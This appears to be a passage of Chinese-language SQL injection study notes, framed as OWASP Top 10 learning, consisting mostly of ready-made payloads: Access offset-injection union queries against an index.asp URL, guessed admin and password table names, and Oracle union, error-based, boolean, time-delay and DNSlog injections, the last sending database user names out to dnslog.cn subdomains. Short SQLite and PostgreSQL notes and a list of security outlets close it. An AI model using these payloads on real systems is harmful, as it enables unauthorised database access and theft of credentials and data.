因為回顯如下圖 28 29 30是連著的,直接在27后加表名.*

爆出內容

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35 from admin where id = 3 添加where id =數值,可得到更多的內容
偏移注入(常規操作)
Access偏移注入:表名知道,列名無法獲取的情況下。
存在注入點,且order by下判斷出字段數為22行
爆出顯位
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
*****號判斷直到頁面錯誤有變化
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin 正確
說明admin有6個字段
Access****偏移注入,基本公式為:
order by 出的字段數減去*號的字段數,然而再用order by的字段數減去2倍剛才得出來的答案;
也就是:
* = 6個字符
2 × * = 12個字符
22 - 12 = 10個字符
一級偏移語句:
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
二級偏移語句:
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
實戰常見的表和列(也可以用sqlmap的,但是量大且效率低)
常見的表有(最后根據企業名的縮寫搭配上admin、user、name)
admin admins admin_user admin_usr admin_msg admin_login user username manager msg_user msg_login useradmin product、news、usr、system、article、customer、area
admin_id、admin_name、admin_password
常見的列
admin admin_user username password passwd pass pwd users usr user_login user_name login_name name等等
oracle注入(jsp)

常規有回顯注入
order by 3--
and 1=2 union select null,null,null from dual--
and 1=2 union select 'null',null,null from dual-- //返回正常,則第一個字段是數字型,返回錯誤,為字符型
and 1=2 union select 1,'2','3' from dual-- //判斷顯示位
and 1=2 union select null,(select banner from sys.v_$version where rownum=1),null from dual-- //探測數據庫版本信息
and 1=2 union select null,(select table_name from user_tables where rownum=1),null from dual-- //查詢第一個表名
and 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name<>'STUDENT'),null from dual-- //第二個表名
獲取關鍵表中的列名:
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and rownum=1),null from dual --
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and rownum=1),null from dual --
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and rownum=1),null from dual --
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and column_name<>'SNAME' and rownum=1),null from dual --
and 1=2 union select SNAME,SUSER,SPWD from T_USER where id=1-- //查看數據
第二種常規注入
確定回顯位,假設當前共2個字段,全是數字型,判斷方式如下:
and 1=2 union select 1,2 from dual 假設回顯位是2,爆當前數據庫中的第一個表:
and 1=2 union select 1,(select table_name from user_tables where rownum=1) from dual 爆當前數據庫中的第二個表:
and 1=2 union select 1,(select table_name from user_tables where rownum=1 and table_name not in ('第一個表')) from dual 以此類推去爆第n個表
爆某表中的第一個字段:
and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名(大寫的)') from dual 爆某表中的第二個字段:
and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名' and column_name not in ('第一個字段')) from dual 爆其它字段以此類推
爆某表中的第一行數據:
and 1=2 union select 1,字段1||字段2...||字段n from 表名 where rownum=1 --連接多個字段用到的連接符號是||,在oracle數據庫中,concat函數只能連接兩個字符串
報錯注入
利用 utl_inaddr.get_host_name
這種方法在Oracle 8g,9g,10g中不需要任何權限,但是在Oracle 11g以及以后的版本中,當前數據庫用戶必須有網絡訪問權限。
jsp?name=' and 1=utl_inaddr.get_host_name((select user from dual)) --
ctxsys.drithsx.sn()
jsp?name=' and 1=ctxsys.drithsx.sn(1,(select user from dual)) --
dbms_xdb_version.checkin()
jsp?name=1' and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null—
dbms_utility.sqlid_to_sqlhash()
jsp?name=1' and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --
XMLType()
sname=1′ and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --
布爾注入
jsp?id=1 and 1=(select decode(substr(user,1,1),'S',1,0) from dual) --

username=admin' and (select substr(user, 1, 1) from dual)='S' --
時間盲注
主要用DBMS_PIPE.RECEIVE_MESSAGE
即user的第一位是"A"時,延時5秒執行。
And 1=(select decode(substr(user,1,1),'A',DBMS_PIPE.RECEIVE_MESSAGE('a',5) ,0) from dual)
第二位是D時,延時5秒
And 1=(select decode(substr(user,2,1),'D',DBMS_PIPE.RECEIVE_MESSAGE('a',5) ,0) from dual)
news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',5),0) from dual) –
DNSlog注入
utl_inaddr.get_host_address
select utl_inaddr.get_host_address((select user from dual)||'.cbb1ya.dnslog.cn') from dual
SYS.DBMS_LDAP.INIT 這個函數在 10g/11g 中是 public 權限.
SELECT DBMS_LDAP.INIT((select user from dual)||'.24wypw.dnslog.cn',80) FROM DUAL;
借鑒大佬博客:https://www.yuque.com/aufeng/aufeng_good/iganif#zoa46
拓展
Sqlite注入
如果您的站點允許用戶通過網頁輸入,并將輸入內容插入到 SQLite 數據庫中,這個時候您就面臨著一個被稱為 SQL 注入的安全問題。本章節將向您講解如何防止這種情況的發生,確保腳本和 SQLite 語句的安全。
1.Sqlite-master:這個是內置系統表、相當于mysql的information_schema
但是這里只存有表的信息,里面有個sql字段,有各個表的結構,有表名,字段名和類型
2.sqlite并不支持像mysql那樣的注釋,但是可以通過 — 方式增加DDL注釋(寫shell會用到)
可參考:https://blog.csdn.net/hackzkaq/article/details/117119953
Postsql注入
PostgreSQL是一種特性非常齊全的自由軟件的對象-關系型數據庫管理系統(ORDBMS),4.2版本為基礎的對象關系型數據庫管理系統。
PostgreSQL安裝后,默認的端口是:5432,默認的用戶名是:postgres ,默認的數據庫也是:postgres 。
- 注釋符:--
- 延時函數:pg_sleep(3)

可參考謝公子的文章:https://blog.csdn.net/qq_36119192/article/details/104628797
Oracle注入
基礎知識
Oracle 使用查詢語句獲取數據時需要跟上表名,沒有表的情況下可以使用dual,dual是Oracle的虛擬表,用來構成select的語法規則,Oracle保證dual里面永遠只有一條記錄。
Oracle的數據類型是強匹配的(MYSQL有弱匹配的味道),所以在Oracle進行類似UNION查詢數據時候必須讓對應位置上的數據類型和表中的列的數據類型是一致的,也可以使用null代替某些無法快速猜測出數據類型的位置。
參考文檔學習:https://blog.csdn.net/weixin_42508548/article/details/121516504
總結: 本文主要是對Owasp-top10--sql注入的學習整理,參考了一些大佬的文章,希望對你們有用
HACK學習呀
雁行安全團隊
火線Zone
E安全
黑白之道
看雪學苑
數世咨詢
系統安全運維
聚銘網絡
嘶吼專業版
奇安信集團
數世咨詢